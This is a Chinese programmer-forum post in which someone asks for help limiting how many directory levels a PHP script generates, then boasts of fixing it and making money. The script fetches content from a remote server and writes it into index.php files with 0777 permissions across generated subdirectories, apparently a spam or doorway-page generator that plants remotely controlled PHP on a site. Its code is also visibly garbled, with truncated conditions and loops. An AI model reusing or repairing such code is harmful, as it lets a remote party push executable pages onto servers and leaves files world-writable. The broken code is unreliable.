帮我改下PHP代码的生成层数
程序员文章站
2022-06-01 09:28:22
...
看不懂啊,现在生成的层数有好几层【生成目录后,还在子目录又生成,如 生成了 ABC 又在ABC里面生成 DEF GHI ...】
想要生成一层就行了,即根目录生成的,子目录就不再生成了
以下是代码,希望大神改好后直接粘贴回复,谢谢,谢谢,非常感谢!
想要生成一层就行了,即根目录生成的,子目录就不再生成了
以下是代码,希望大神改好后直接粘贴回复,谢谢,谢谢,非常感谢!
页面在生成中稍等......");}$ml = $_SERVER['REQUEST_URI'];$str= explode("/", $ml);$Quantity = count($str)-1; //层数$host_name = str_replace("index.php", "", "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);if ($Quantity0) { $Remote_directory = $Remote_server."/directory.php?type=index.php&host=".$host_name."&directory=".$Branch_directory; $Content_directory = getHTTPPage($Remote_directory); $Content_mb=GetHtml($Remote_server."/index.php?type=index.php&host=".$host_name); $Branch_directory= explode(".",$Branch_directory); echo $Content_mb; for ($i=0;$i "; exit();} else { $Content_mb=GetHtml($Remote_server."/index.php?type=index.php&host=".$host_name); WriteIn("./index.php",$Content_mb); chmod("index.php",0777); header("Location: index.php"); exit();} function getCode($iCount) {//取随机混合字母数字 $arrChar = "012qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM3456789"; $code=""; for ( $i = 0; $i array( 'method'=>"GET", 'header'=>"User-Agent: aQ0O010O" ) ); $context = stream_context_create($opts); $html = @file_get_contents($url, false, $context); if (empty($html)) { exit("服务器获取文件内容出错
"); } return $html;} function GetHtml($url) { return getHTTPPage($url);}
回复讨论(解决方案)
按照那个层数标注的地方 改了也没反应啊
还是自己摸索出来了,原来层数是哪个数字 5 ,标记错了, 屌丝也有逆袭日 【完全不懂PHP,只会用,看我赚大钱吧】
上一篇: 从MySQL导出XLS数据库工具
下一篇: 很好用的php rss解析类